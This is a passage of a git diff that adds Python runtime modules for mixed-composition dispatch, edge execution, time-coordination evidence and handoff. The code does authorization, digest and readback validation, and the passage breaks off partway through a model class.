the incumbent control-plane store.""" + + _composition_operation_kind = OperationKind.COMPOSITION_PHASE + + @runtime_owned + @mutation_entry(OperationKind.COMPOSITION_PHASE) + def activate_mixed_composition( + self, + *, + identity: object, + idempotency_key: str, + ) -> OperationReceipt: + binding = _activation_binding(self, identity) + with control_plane_mutation(self, OperationKind.COMPOSITION_PHASE): + self._reload_derived_state() + already_active = binding.entry.run_id in self._snapshot.mixed_composition_states + receipt, running = _activation_operation(self, binding, identity, idempotency_key) + claimed = self._claim_record( + running, + new_claim_blocked="current-state" if already_active else None, + ) + if claimed.receipt.operation_id != receipt.operation_id: + return claimed.receipt + event, state = _initial_composition(binding, receipt.operation_id) + _commit_activation(self, binding, running, event, state) + return receipt + + @runtime_owned + @mutation_entry(OperationKind.COMPOSITION_PHASE) + def advance_mixed_composition( + self, + transition_id: str, + *, + identity: object, + idempotency_key: str, + ) -> OperationReceipt: + from .mixed_runtime_phase import advance_mixed_composition + + with control_plane_mutation(self, OperationKind.COMPOSITION_PHASE): + return advance_mixed_composition( + self, + transition_id=transition_id, + identity=identity, + idempotency_key=idempotency_key, + ) diff --git a/implementations/python/packages/raes_runtime/mixed_runtime_dispatch.py b/implementations/python/packages/raes_runtime/mixed_runtime_dispatch.py new file mode 100644 index 000000000..12a04688b --- /dev/null +++ b/implementations/python/packages/raes_runtime/mixed_runtime_dispatch.py @@ -0,0 +1,485 @@ +"""Exact pre-effect dispatch and recovery routing for mixed runtimes.""" + +from __future__ import annotations + +from collections.abc import Callable +from dataclasses import dataclass + +from raes_contracts.contracts.mixed_composition import AllocationTargetKind, MixedCompositionAllocationModel +from raes_contracts.contracts.mixed_runtime import ( + MixedCompositionRuntimeEventModel, + MixedCompositionRuntimeStateModel, +) +from raes_contracts.participant_binding import ParticipantActionAdmissionRequest +from raes_contracts.runtime_state import ApplyResult, RuntimeSnapshot + +from .control_plane_security import ControlPlaneIdentity +from .mixed_runtime_edge import MixedEdgeExecutionCapture +from .mixed_runtime_edge_execution import _mapped_edge_method, _stage_readback_method +from .mixed_runtime_state import append_runtime_events, runtime_state +from .participant_crossing_mediation import PreparedParticipantCrossing +from .participant_flow_sink import ParticipantFlowSinkDecision +from .registry import RuntimeTarget + + +@dataclass(frozen=True) +class PreparedMixedActionDispatch: + """Exact admitted provider and the durable pre-effect composition cut.""" + + method: Callable[..., object] + address: str + snapshot: RuntimeSnapshot + expected_history_heads: dict[str, str | None] + committed_history_heads: dict[str, str | None] + capture: MixedEdgeExecutionCapture | None = None + stage_readback: Callable[[ApplyResult], None] | None = None + + +@dataclass(frozen=True) +class PreparedMixedLifecycleDispatch: + """Exact participant provider plus its durable pre-effect lifecycle cut.""" + + method: Callable[..., object] + address: str + snapshot: RuntimeSnapshot + expected_history_heads: dict[str, str | None] + committed_history_heads: dict[str, str | None] + + +def _runtime_event_fields( + state: MixedCompositionRuntimeStateModel, + **coordinates: object, +) -> dict[str, object]: + return { + "run_id": state.run_id, + "plan_id": state.plan_id, + "plan_entry_id": state.plan_entry_id, + "profile_id": state.profile_id, + "profile_digest": state.profile_digest, + "phase_id": state.phase_id, + "phase_revision": state.phase_revision, + "active_component_ids": state.active_component_ids, + "active_allocation_ids": state.active_allocation_ids, + "active_edge_ids": state.active_edge_ids, + **coordinates, + } + + +def _active_allocation( + binding: object, + state: MixedCompositionRuntimeStateModel, + kind: AllocationTargetKind, + address: str, +) -> MixedCompositionAllocationModel: + matches = [ + allocation + for allocation in binding.profile.allocations.values() + if allocation.allocation_id in state.active_allocation_ids + and allocation.target_kind == kind + and allocation.target_address == address + and state.phase_id in allocation.phase_ids + ] + if len(matches) != 1: + raise ValueError(f"mixed composition requires exactly one active {kind} allocation for {address}") + return matches[0] + + +def mixed_policy_allocation( + control_plane: object, + intent: object, +) -> MixedCompositionAllocationModel | None: + """Resolve the active allocation whose admitted capability governs a crossing.""" + + binding = getattr(control_plane, "_mixed_runtime", None) + if binding is None: + return None + state = runtime_state(binding, control_plane._snapshot) + action_address = getattr(intent, "action_or_projection_ref", None) + if isinstance(action_address, str): + candidates = [ + allocation + for allocation in binding.profile.allocations.values() + if allocation.allocation_id in state.active_allocation_ids + and allocation.target_kind in {"action-family", "observation-source", "crossing"} + and allocation.target_address == action_address + and state.phase_id in allocation.phase_ids + ] + else: + candidates = [] + if not candidates: + participant_address = getattr(intent, "participant_address", "") + candidates = [_active_allocation(binding, state, "participant", participant_address)] + if len(candidates) != 1: + return None + return candidates[0] + + +def prepare_mixed_lifecycle_dispatch( + control_plane: object, + request: object, + method_name: str, + operation_id: str, + identity: object, +) -> PreparedMixedLifecycleDispatch: + """Resolve and persist an exact participant lifecycle provider before effect.""" + + binding = getattr(control_plane, "_mixed_runtime", None) + if binding is None: + raise ValueError("mixed runtime is not configured") + lifecycle_identity = _require_lifecycle_identity(control_plane, identity) + state = runtime_state(binding, control_plane._snapshot) + participant_address = getattr(request, "participant_address", "") + allocation = _active_allocation(binding, state, "participant", participant_address) + method = _lifecycle_method(binding, state, allocation, lifecycle_identity, participant_address, method_name) + common = _runtime_event_fields( + state, + allocation_id=allocation.allocation_id, + component_id=allocation.provider_component_id, + control_event_ref=allocation.controller_ref, + order_ref=f"order:lifecycle:{operation_id}", + ) + decision = MixedCompositionRuntimeEventModel( + event_id=f"composition:{operation_id}:lifecycle-decision", + event_kind="lifecycle-decision", + disposition="permitted", + predecessor_event_id=state.history_head, + **common, + ) + attempt = MixedCompositionRuntimeEventModel( + event_id=f"composition:{operation_id}:lifecycle-attempt", + event_kind="lifecycle-attempt", + disposition="committed", + predecessor_event_id=decision.event_id, + **common, + ) + snapshot = append_runtime_events(binding, control_plane._snapshot, state, [decision, attempt]) + history_key = f"mixed_composition_history:{state.run_id}" + return PreparedMixedLifecycleDispatch( + method=method, + address=f"runtime.component.{allocation.provider_component_id}.participant.{method_name}", + snapshot=snapshot, + expected_history_heads={history_key: state.history_head}, + committed_history_heads={history_key: attempt.event_id}, + ) + + +def _require_lifecycle_identity(control_plane: object, identity: object) -> ControlPlaneIdentity: + if not isinstance(identity, ControlPlaneIdentity): + raise PermissionError("mixed participant lifecycle requires an authenticated identity") + if identity.target_name is not None and identity.target_name != control_plane.target_name: + raise PermissionError("mixed participant lifecycle identity is not authorized for this target") + return identity + + +def _lifecycle_method( + binding: object, + state: MixedCompositionRuntimeStateModel, + allocation: MixedCompositionAllocationModel, + identity: ControlPlaneIdentity, + participant_address: str, + method_name: str, +) -> Callable[..., object]: + controller_bindings = { + item.controller_ref + for item in identity.participant_control_subjects + if item.participant_address == participant_address + } + if allocation.controller_ref not in controller_bindings: + raise PermissionError("mixed participant controller differs from the authenticated subject binding") + features = {requirement.feature for requirement in allocation.feature_requirements} + if "participant_ingress_admission" not in features: + raise ValueError("mixed participant provider lacks the admitted lifecycle capability") + if allocation.provider_component_id not in state.active_component_ids: + raise ValueError("mixed participant provider is not active in the committed phase") + runtime = binding.components[allocation.provider_component_id].target.participant_runtime + method = getattr(runtime, method_name, None) + if not callable(method): + raise ValueError("mixed participant provider does not expose the admitted lifecycle method") + return method + + +def record_mixed_lifecycle_result( + control_plane: object, + snapshot: RuntimeSnapshot, + operation_id: str, + *, + success: bool, +) -> RuntimeSnapshot: + """Append a lifecycle result/failure without rewriting its provider cut.""" + + binding = control_plane._mixed_runtime + state = runtime_state(binding, snapshot) + attempt = MixedCompositionRuntimeEventModel.model_validate(snapshot.mixed_composition_history[state.run_id][-1]) + if attempt.event_id != f"composition:{operation_id}:lifecycle-attempt" or attempt.event_kind != "lifecycle-attempt": + raise ValueError("mixed lifecycle result requires its exact durable attempt fact") + common = _runtime_event_fields( + state, + allocation_id=attempt.allocation_id, + component_id=attempt.component_id, + control_event_ref=attempt.control_event_ref, + order_ref=attempt.order_ref, + ) + result = MixedCompositionRuntimeEventModel( + event_id=f"composition:{operation_id}:lifecycle-result", + event_kind="lifecycle-result", + disposition="succeeded" if success else "failed", + predecessor_event_id=state.history_head, + **common, + ) + events = [result] + if not success: + events.append( + MixedCompositionRuntimeEventModel( + event_id=f"composition:{operation_id}:failure", + event_kind="failure", + disposition="failed", + predecessor_event_id=result.event_id, + **common, + ) + ) + return append_runtime_events(binding, snapshot, state, events) + + +def prepare_mixed_action_dispatch( + control_plane: object, + request: ParticipantActionAdmissionRequest, + crossing: PreparedParticipantCrossing, + sink_decision: ParticipantFlowSinkDecision | None, +) -> PreparedMixedActionDispatch | None: + """Resolve and persist the exact provider decision before its effect call.""" + + binding = getattr(control_plane, "_mixed_runtime", None) + if binding is None: + return None + state = runtime_state(binding, crossing.next_snapshot) + participant = _active_allocation(binding, state, "participant", request.participant_address) + allocation = _active_allocation(binding, state, "action-family", request.action_contract_address) + _require_action_authority(participant, allocation, crossing, request, state) + edge = _action_edge(binding, state, participant, allocation) + decision = crossing.decision + if decision is None: + raise ValueError("mixed action dispatch requires a committed crossing decision") + if edge is not None: + _require_edge_crossing_authority(edge, crossing, request, sink_decision) + method = _action_method(binding, allocation) + operation_id = crossing.record.receipt.operation_id + capture = None + stage_readback = None + if edge is not None: + method, capture, stage_readback = _edge_action_dispatch( + binding, edge, request, allocation, method, operation_id + ) + event_base = _runtime_event_fields( + state, + allocation_id=allocation.allocation_id, + component_id=allocation.provider_component_id, + edge_id=edge.edge_id if edge is not None else None, + control_event_ref=allocation.controller_ref, + crossing_event_ref=decision.event_id, + policy_decision_ref=decision.occurrence.policy.policy_decision_ref, + mapping_ref=edge.time_binding.mapping_address if edge is not None else None, + order_ref=f"order:{decision.occurrence.policy.effective_order}", + mapping_loss_refs=[edge.mapping_loss.limitation_ref] if edge is not None else [], + evidence_refs=list(crossing.intent.required_evidence_refs), + ) + decision_event = MixedCompositionRuntimeEventModel( + event_id=f"composition:{operation_id}:decision", + event_kind="decision", + disposition="permitted", + predecessor_event_id=state.history_head, + **event_base, + ) + attempt_event = MixedCompositionRuntimeEventModel( + event_id=f"composition:{operation_id}:attempt", + event_kind="attempt", + disposition="committed", + predecessor_event_id=decision_event.event_id, + **event_base, + ) + snapshot = append_runtime_events(binding, crossing.next_snapshot, state, [decision_event, attempt_event]) + history_key = f"mixed_composition_history:{state.run_id}" + expected = {**crossing.expected_history_heads, history_key: state.history_head} + committed = {**crossing.record.result_history_heads, history_key: attempt_event.event_id} + return PreparedMixedActionDispatch( + method=method, + address=f"runtime.component.{allocation.provider_component_id}.participant.admit-action", + snapshot=snapshot, + expected_history_heads=expected, + committed_history_heads=committed, + capture=capture, + stage_readback=stage_readback, + ) + + +def _edge_action_dispatch( + binding: object, + edge: object, + request: ParticipantActionAdmissionRequest, + allocation: MixedCompositionAllocationModel, + method: Callable[..., object], + operation_id: str, +) -> tuple[Callable[..., object], MixedEdgeExecutionCapture, Callable[[ApplyResult], None]]: + if edge.edge_id not in binding.edge_bindings: + raise ValueError("mixed action dispatch requires an executable edge binding") + installed = binding.edge_bindings[edge.edge_id] + if (installed.source_action_address, installed.destination_action_address) != ( + request.action_contract_address, + allocation.target_address, + ): + raise ValueError("mixed destination action differs from admitted policy and provider allocation") + capture = MixedEdgeExecutionCapture() + mapped = _mapped_edge_method(binding, edge, installed, method, operation_id, capture) + readback = _stage_readback_method(binding, edge, installed, request, operation_id, capture) + return mapped, capture, readback + + +def _require_edge_crossing_authority( + edge: object, + crossing: PreparedParticipantCrossing, + request: ParticipantActionAdmissionRequest, + sink_decision: ParticipantFlowSinkDecision | None, +) -> None: + """Join the admitted edge to the live crossing and final-sink cut.""" + + decision = crossing.decision + assert decision is not None + occurrence = decision.occurrence + expected_crossing = ( + crossing.governed_subject, + occurrence.subject, + crossing.intent.audience_scope_ref, + occurrence.audience_scope_ref, + occurrence.policy, + crossing.intent.controller_ref, + occurrence.controller_ref, + request.action_contract_address, + ) + admitted_crossing = ( + edge.crossing_subject, + edge.crossing_subject, + edge.audience_scope_ref, + edge.audience_scope_ref, + edge.policy, + edge.controller_ref, + edge.controller_ref, + crossing.intent.action_or_projection_ref, + ) + if ( + not isinstance(sink_decision, ParticipantFlowSinkDecision) + or not sink_decision.permitted + or not sink_decision.decision_id + or admitted_crossing != expected_crossing + or edge.authority_ref not in occurrence.authority_basis_refs + or edge.disclosure_authority_ref not in occurrence.authority_basis_refs + ): + raise ValueError("mixed edge differs from the authorized crossing or final-sink cut") + + +def _require_action_authority( + participant: MixedCompositionAllocationModel, + allocation: MixedCompositionAllocationModel, + crossing: PreparedParticipantCrossing, + request: ParticipantActionAdmissionRequest, + state: MixedCompositionRuntimeStateModel, +) -> None: + if participant.controller_ref != allocation.controller_ref: + raise ValueError("mixed participant and action allocations disagree on controller authority") + if participant.routing_ref != allocation.routing_ref: + raise ValueError("mixed participant and action allocations disagree on routing authority") + controller_bindings = { + item.controller_ref + for item in crossing.identity.participant_control_subjects + if item.participant_address == request.participant_address + } + if allocation.controller_ref not in controller_bindings: + raise PermissionError("mixed action controller differs from the authenticated subject binding") + if allocation.action_authority_ref not in crossing.intent.authority_basis_refs: + raise PermissionError("mixed action authority is absent from the committed crossing cut") + if allocation.provider_component_id not in state.active_component_ids: + raise ValueError("mixed action provider is not active in the committed phase") + + +def _action_edge( + binding: object, + state: MixedCompositionRuntimeStateModel, + participant: MixedCompositionAllocationModel, + allocation: MixedCompositionAllocationModel, +) -> object | None: + if participant.provider_component_id == allocation.provider_component_id: + return None + edges = [ + candidate + for candidate in binding.profile.edges.values() + if candidate.edge_id in state.active_edge_ids + and candidate.source_component_id == participant.provider_component_id + and candidate.target_component_id == allocation.provider_component_id + and state.phase_id in candidate.phase_ids + ] + if len(edges) != 1: + raise ValueError("mixed action dispatch requires one active admitted topology edge") + return edges[0] + + +def _action_method(binding: object, allocation: MixedCompositionAllocationModel) -> Callable[..., object]: + runtime = binding.components[allocation.provider_component_id].target.participant_runtime + method = getattr(runtime, "admit_action", None) + if not callable(method): + raise ValueError("mixed action provider has no admitted participant runtime") + return method + + +def mixed_recovery_target(control_plane: object, operation_id: str) -> RuntimeTarget | None: + """Recover the exact component from its durable pre-effect attempt fact.""" + + binding = getattr(control_plane, "_mixed_runtime", None) + if binding is None: + target = getattr(control_plane, "_target", None) + else: + event = _recovery_attempt(control_plane, binding, operation_id) + target = _recovery_component(binding, event) if event is not None else None + return target + + +def _recovery_attempt( + control_plane: object, + binding: object, + operation_id: str, +) -> MixedCompositionRuntimeEventModel | None: + history = control_plane._snapshot.mixed_composition_history.get(binding.entry.run_id, ()) + matches = [ + MixedCompositionRuntimeEventModel.model_validate(event) + for event in history + if event.get("event_id") + in { + f"composition:{operation_id}:attempt", + f"composition:{operation_id}:lifecycle-attempt", + } + and event.get("event_kind") in {"attempt", "lifecycle-attempt"} + ] + return matches[0] if len(matches) == 1 else None + + +def _recovery_component( + binding: object, + event: MixedCompositionRuntimeEventModel, +) -> RuntimeTarget | None: + allocation = binding.profile.allocations.get(event.allocation_id or "") + invalid = ( + allocation is None + or allocation.provider_component_id != event.component_id + or allocation.allocation_id not in event.active_allocation_ids + or allocation.provider_component_id not in event.active_component_ids + ) + component = None if invalid else binding.components.get(allocation.provider_component_id) + return None if component is None else component.target + + +__all__ = ( + "PreparedMixedActionDispatch", + "PreparedMixedLifecycleDispatch", + "mixed_recovery_target", + "mixed_policy_allocation", + "prepare_mixed_action_dispatch", + "prepare_mixed_lifecycle_dispatch", + "record_mixed_lifecycle_result", +) diff --git a/implementations/python/packages/raes_runtime/mixed_runtime_edge.py b/implementations/python/packages/raes_runtime/mixed_runtime_edge.py new file mode 100644 index 000000000..5b3546e4c --- /dev/null +++ b/implementations/python/packages/raes_runtime/mixed_runtime_edge.py @@ -0,0 +1,142 @@ +"""Trusted executable bindings for admitted mixed-composition edges.""" + +from __future__ import annotations + +from collections.abc import Callable +from dataclasses import dataclass +from re import fullmatch +from typing import Literal + +from pydantic import Field, model_validator +from raes_contracts.addressing import require_compiled_address +from raes_contracts.contracts.base import ContractModel, NonEmptyString +from raes_contracts.contracts.time_model import TimeCoordinateModel + + +class MixedTimeCoordinationEvidence(ContractModel): + """Correlated service grant checked against live time-runtime readback.""" + + operation_id: NonEmptyString + mapping_ref: NonEmptyString + ordering_basis: NonEmptyString + order_ref: NonEmptyString + comparison: Literal["ordered", "incomparable"] + source_coordinate: TimeCoordinateModel + destination_coordinate: TimeCoordinateModel + mapping_evidence_refs: list[NonEmptyString] = Field(min_length=1, max_length=64) + timing_evidence_refs: list[NonEmptyString] = Field(min_length=1, max_length=64) + + +class MixedBridgeExecutionEvidence(ContractModel): + """Separate execution, destination delivery, and audience readback facts.""" + + operation_id: NonEmptyString + bridge_ref: NonEmptyString + bridge_version: NonEmptyString + bridge_digest: NonEmptyString + source_action_address: NonEmptyString + destination_action_address: NonEmptyString + execution_status: Literal["succeeded", "failed", "partial", "unknown"] + execution_evidence_refs: list[NonEmptyString] = Field(default_factory=list, max_length=64) + delivery_evidence_refs: list[NonEmptyString] = Field(default_factory=list, max_length=64) + observation_evidence_refs: list[NonEmptyString] = Field(default_factory=list, max_length=64) + mapping_loss_refs: list[NonEmptyString] = Field(default_factory=list, max_length=64) + cessation_evidence_refs: list[NonEmptyString] = Field(default_factory=list, max_length=64) + + @model_validator(mode="after") + def _stage_dependencies(self) -> MixedBridgeExecutionEvidence: + if self.delivery_evidence_refs and not self.execution_evidence_refs: + raise ValueError("delivery requires execution evidence") + if self.observation_evidence_refs and not self.delivery_evidence_refs: + raise ValueError("participant observation requires delivery evidence") + if self.execution_status == "succeeded" and not self.execution_evidence_refs: + raise ValueError("successful execution requires readback evidence") + if self.execution_status == "failed" and not self.cessation_evidence_refs: + raise ValueError("known failure requires cessation evidence") + return self + + +class MixedDeliveryReadback(ContractModel): + """Destination receipt observed independently of the bridge result.""" + + operation_id: NonEmptyString + destination_component_id: NonEmptyString + receipt_ref: NonEmptyString + evidence_refs: list[NonEmptyString] = Field(min_length=1, max_length=64) + + +class MixedObservationReadback(ContractModel): + """Participant/audience observation observed after authorized delivery.""" + + operation_id: NonEmptyString + participant_address: NonEmptyString + audience_ref: NonEmptyString + observation_ref: NonEmptyString + evidence_refs: list[NonEmptyString] = Field(min_length=1, max_length=64) + + +@dataclass +class MixedEdgeExecutionCapture: + """Transient outcome of one authorized bridge call, never a second ledger.""" + + provider_calls: int = 0 + provider_started: bool = False + method_completed: bool = False + stage_readback_failed: bool = False + time: MixedTimeCoordinationEvidence | None = None + time_confirmed: bool = False + bridge: MixedBridgeExecutionEvidence | None = None + delivery_confirmed: bool = False + observation_confirmed: bool = False + + +@dataclass(frozen=True) +class MixedEdgeExecutionBinding: + """Installed bridge, mapping and time service for one admitted edge.""" + + edge_id: str + bridge_ref: str + bridge_version: str + bridge_digest: str + source_action_address: str + destination_action_address: str + mapping_ref: str + mapping_loss_ref: str + time_runtime: object + map_action: Callable[..., object] + coordinate: Callable[..., object] + bridge: Callable[..., object] + delivery_readback: Callable[..., object] | None = None + observation_readback: Callable[..., object] | None = None + + def __post_init__(self) -> None: + if not all((self.edge_id, self.bridge_ref, self.bridge_version)): + raise ValueError("executable edge binding requires pinned bridge identity") + if fullmatch(r"sha256:[a-f0-9]{64}", self.bridge_digest) is None: + raise ValueError("executable edge binding requires a pinned bridge digest") + for address in (self.source_action_address, self.destination_action_address, self.mapping_ref): + require_compiled_address(address) + if not self.mapping_loss_ref: + raise ValueError("executable edge binding requires a declared mapping loss") + _require_edge_callbacks(self) + + +def _require_edge_callbacks(binding: MixedEdgeExecutionBinding) -> None: + if not all(callable(value) for value in (binding.map_action, binding.coordinate, binding.bridge)): + raise TypeError("executable edge binding requires mapping, coordination and bridge callables") + if not callable(getattr(binding.time_runtime, "state", None)): + raise TypeError("executable edge binding requires time-runtime readback") + for name in ("delivery_readback", "observation_readback"): + reader = getattr(binding, name) + if reader is not None and not callable(reader): + raise TypeError(f"executable edge {name} must be callable") + + +__all__ = ( + "MixedBridgeExecutionEvidence", + "MixedEdgeExecutionBinding", + "MixedEdgeExecutionCapture", + "MixedDeliveryReadback", + "MixedObservationReadback", + "MixedTimeCoordinationEvidence", +) diff --git a/implementations/python/packages/raes_runtime/mixed_runtime_edge_execution.py b/implementations/python/packages/raes_runtime/mixed_runtime_edge_execution.py new file mode 100644 index 000000000..ab33af00d --- /dev/null +++ b/implementations/python/packages/raes_runtime/mixed_runtime_edge_execution.py @@ -0,0 +1,287 @@ +"""Exact executable mapping, time grant, bridge call, and stage readback.""" + +from __future__ import annotations + +from collections.abc import Callable +from copy import deepcopy +from dataclasses import dataclass, replace +from fractions import Fraction +from functools import partial + +from raes_contracts.contracts.time_model import TimeRuntimeStateModel, validate_time_runtime_state +from raes_contracts.participant_binding import ParticipantActionAdmissionRequest +from raes_contracts.runtime_state import ApplyResult, RuntimeSnapshot + +from .mixed_runtime_edge import ( + MixedBridgeExecutionEvidence, + MixedDeliveryReadback, + MixedEdgeExecutionBinding, + MixedEdgeExecutionCapture, + MixedObservationReadback, + MixedTimeCoordinationEvidence, +) + +_UNSUPPORTED_EDGE_TIME = "executable edge time mapping or governed order is unsupported" + + +def _mapped_edge_method( + binding: object, + edge: object, + installed: MixedEdgeExecutionBinding, + provider_method: Callable[..., object], + operation_id: str, + capture: MixedEdgeExecutionCapture, +) -> Callable[..., object]: + """Execute one admitted edge after its decision and attempt are durable.""" + + declaration = binding.context.time_models[edge.time_binding.time_model_ref] + mapping = declaration.mappings[edge.time_binding.mapping_address] + source_clock = declaration.clocks[edge.time_binding.source_clock_address] + destination_clock = declaration.clocks[edge.time_binding.target_clock_address] + if ( + mapping.source_domain_address != source_clock.time_domain_address + or mapping.target_domain_address != destination_clock.time_domain_address + ): + raise ValueError("executable edge clock domains differ from admission") + + context = _MappedEdgeContext(installed, edge, declaration, mapping, provider_method, operation_id, capture) + return partial(_invoke_mapped_edge, context=context) + + +@dataclass(frozen=True) +class _MappedEdgeContext: + installed: MixedEdgeExecutionBinding + edge: object + declaration: object + mapping: object + provider_method: Callable[..., object] + operation_id: str + capture: MixedEdgeExecutionCapture + + +@dataclass +class _AuthorizedProviderCall: + request: ParticipantActionAdmissionRequest + authorized: ParticipantActionAdmissionRequest + expected: ParticipantActionAdmissionRequest + mapped: ParticipantActionAdmissionRequest + snapshot: RuntimeSnapshot + baseline_snapshot: RuntimeSnapshot + provider_method: Callable[..., object] + capture: MixedEdgeExecutionCapture + + def __call__(self, value: ParticipantActionAdmissionRequest, current: RuntimeSnapshot) -> object: + self.capture.provider_calls += 1 + if self.capture.provider_calls != 1: + raise ValueError("executable edge bridge invoked its provider more than once") + if value is not self.mapped or current is not self.snapshot: + raise ValueError("executable edge bridge changed the authorized invocation") + if (self.snapshot, self.request, self.mapped) != (self.baseline_snapshot, self.authorized, self.expected): + raise ValueError("executable edge bridge changed the authorized invocation") + self.capture.provider_started = True + return self.provider_method(value, current) + + +def _invoke_mapped_edge( + request: ParticipantActionAdmissionRequest, + snapshot: RuntimeSnapshot, + *, + context: _MappedEdgeContext, +) -> ApplyResult: + installed = context.installed + edge = context.edge + declaration = context.declaration + mapping = context.mapping + provider_method = context.provider_method + operation_id = context.operation_id + capture = context.capture + if request.action_contract_address != installed.source_action_address: + raise ValueError("executable edge source action differs from admitted subject") + baseline_snapshot = deepcopy(snapshot) + authorized = deepcopy(request) + expected = replace(deepcopy(authorized), action_contract_address=installed.destination_action_address) + mapped = installed.map_action(deepcopy(authorized)) + if not isinstance(mapped, ParticipantActionAdmissionRequest): + raise TypeError("executable edge mapping must return a typed action") + if (request, mapped) != (authorized, expected): + raise ValueError("executable edge mapping changed an unauthorized subject") + time_state = installed.time_runtime.state(deepcopy(snapshot)) + if not isinstance(time_state, TimeRuntimeStateModel): + raise TypeError("executable edge time readback must be typed") + validate_time_runtime_state(declaration, time_state) + if snapshot.time_model_state != time_state: + raise ValueError("executable edge time readback differs from the committed snapshot") + grant = MixedTimeCoordinationEvidence.model_validate( + installed.coordinate(operation_id, deepcopy(edge), deepcopy(time_state)) + ) + _require_time_grant(grant, operation_id, edge, mapping, time_state) + capture.time = grant + provider_call = _AuthorizedProviderCall( + request, authorized, expected, mapped, snapshot, baseline_snapshot, provider_method, capture + ) + bridged = installed.bridge(operation_id, mapped, snapshot, provider_call) + if not isinstance(bridged, tuple) or len(bridged) != 2 or capture.provider_calls != 1: + raise ValueError("executable edge bridge must return one correlated provider call") + result, report_payload = bridged + if not isinstance(result, ApplyResult): + raise TypeError("executable edge bridge returned an untyped provider result") + report = MixedBridgeExecutionEvidence.model_validate(report_payload) + _require_bridge_report(report, operation_id, installed, result) + capture.bridge = report + capture.method_completed = True + return result + + +def _stage_readback_method( + binding: object, + edge: object, + installed: MixedEdgeExecutionBinding, + request: ParticipantActionAdmissionRequest, + operation_id: str, + capture: MixedEdgeExecutionCapture, +) -> Callable[[ApplyResult], None]: + """Confirm external stages only after the backend result gate accepts the provider result.""" + + declaration = binding.context.time_models[edge.time_binding.time_model_ref] + + def confirm(result: ApplyResult) -> None: + report = capture.bridge + if not result.success or report is None: + return + readback = installed.time_runtime.state(deepcopy(result.snapshot)) + if not isinstance(readback, TimeRuntimeStateModel): + raise TypeError("executable edge post-effect time readback must be typed") + validate_time_runtime_state(declaration, readback) + if result.snapshot.time_model_state != readback: + raise ValueError("executable edge post-effect time readback differs from the result") + capture.time_confirmed = True + _require_stage_readbacks( + installed, + report, + edge, + request, + operation_id, + result.snapshot, + capture, + ) + + return confirm + + +def _require_stage_readbacks( + installed: MixedEdgeExecutionBinding, + report: MixedBridgeExecutionEvidence, + edge: object, + request: ParticipantActionAdmissionRequest, + operation_id: str, + snapshot: RuntimeSnapshot, + capture: MixedEdgeExecutionCapture, +) -> None: + if report.delivery_evidence_refs: + _require_delivery_readback(installed, report, edge, operation_id, snapshot) + capture.delivery_confirmed = True + if report.observation_evidence_refs: + _require_observation_readback(installed, report, edge, request, operation_id, snapshot) + capture.observation_confirmed = True + + +def _require_delivery_readback( + installed: MixedEdgeExecutionBinding, + report: MixedBridgeExecutionEvidence, + edge: object, + operation_id: str, + snapshot: RuntimeSnapshot, +) -> None: + if installed.delivery_readback is None: + raise ValueError("mixed delivery requires destination readback") + delivery = MixedDeliveryReadback.model_validate(installed.delivery_readback(operation_id, deepcopy(snapshot))) + if (delivery.operation_id, delivery.destination_component_id) != (operation_id, edge.target_component_id): + raise ValueError("mixed destination receipt differs from the admitted edge") + if not set(report.delivery_evidence_refs).issubset(delivery.evidence_refs): + raise ValueError("mixed destination receipt differs from the admitted edge") + + +def _require_observation_readback( + installed: MixedEdgeExecutionBinding, + report: MixedBridgeExecutionEvidence, + edge: object, + request: ParticipantActionAdmissionRequest, + operation_id: str, + snapshot: RuntimeSnapshot, +) -> None: + if installed.observation_readback is None: + raise ValueError("mixed observation requires participant readback") + observation = MixedObservationReadback.model_validate( + installed.observation_readback(operation_id, deepcopy(snapshot)) + ) + if (observation.operation_id, observation.participant_address, observation.audience_ref) != ( + operation_id, + request.participant_address, + edge.audience_scope_ref, + ): + raise ValueError("mixed participant observation differs from the authorized audience") + if not set(report.observation_evidence_refs).issubset(observation.evidence_refs): + raise ValueError("mixed participant observation differs from the authorized audience") + + +def _require_time_grant( + grant: MixedTimeCoordinationEvidence, + operation_id: str, + edge: object, + mapping: object, + state: TimeRuntimeStateModel, +) -> None: + source = state.clocks[edge.time_binding.source_clock_address].coordinate + destination = state.clocks[edge.time_binding.target_clock_address].coordinate + required = {item.evidence_ref for item in edge.evidence_bindings} + provided = set(grant.mapping_evidence_refs) | set(grant.timing_evidence_refs) + mapped_tick = Fraction(source.tick * mapping.scale.numerator, mapping.scale.denominator) + mapping.offset_ticks + granted_identity = (grant.operation_id, grant.mapping_ref, grant.ordering_basis, grant.comparison) + required_identity = (operation_id, edge.time_binding.mapping_address, edge.time_binding.ordering_basis, "ordered") + if granted_identity != required_identity or edge.time_binding.ordering_basis in { + "wall_clock_only", + "unknown", + "unsupported", + }: + raise ValueError(_UNSUPPORTED_EDGE_TIME) + if (grant.source_coordinate, grant.destination_coordinate, source.segment) != ( + source, + destination, + destination.segment, + ): + raise ValueError(_UNSUPPORTED_EDGE_TIME) + if (mapped_tick, source.microstep) > (destination.tick, destination.microstep) or not required.issubset(provided): + raise ValueError(_UNSUPPORTED_EDGE_TIME) + + +def _require_bridge_report( + report: MixedBridgeExecutionEvidence, + operation_id: str, + installed: MixedEdgeExecutionBinding, + result: ApplyResult, +) -> None: + report_identity = ( + report.operation_id, + report.bridge_ref, + report.bridge_version, + report.bridge_digest, + report.source_action_address, + report.destination_action_address, + ) + installed_identity = ( + operation_id, + installed.bridge_ref, + installed.bridge_version, + installed.bridge_digest, + installed.source_action_address, + installed.destination_action_address, + ) + if report_identity != installed_identity or set(report.mapping_loss_refs) != {installed.mapping_loss_ref}: + raise ValueError("executable edge report differs from the admitted bridge or provider result") + if (report.execution_status == "succeeded" and not result.success) or ( + report.execution_status == "failed" and result.success + ): + raise ValueError("executable edge report differs from the admitted bridge or provider result") + + +__all__ = ("_mapped_edge_method", "_stage_readback_method") diff --git a/implementations/python/packages/raes_runtime/mixed_runtime_handoff.py b/implementations/python/packages/raes_runtime/mixed_runtime_handoff.py new file mode 100644 index 000000000..eaa502a91 --- /dev/null +++ b/implementations/python/packages/raes_runtime/mixed_runtime_handoff.py @@ -0,0 +1,80 @@ +"""Trusted native responsibility transfer and readback for staged compositions.""" + +from __future__ import annotations + +from collections.abc import Callable +from dataclasses import dataclass +from typing import Literal + +from pydantic import Field +from raes_contracts.contracts.base import ContractModel, NonEmptyString + + +class MixedHandoffEvidence(ContractModel): + operation_id: NonEmptyString + transition_id: NonEmptyString + source_component_id: NonEmptyString + destination_component_id: NonEmptyString + predecessor_history_head: NonEmptyString + phase_revision: int = Field(ge=0) + status: Literal["committed", "failed", "pending", "stale", "unknown"] + order_ref: 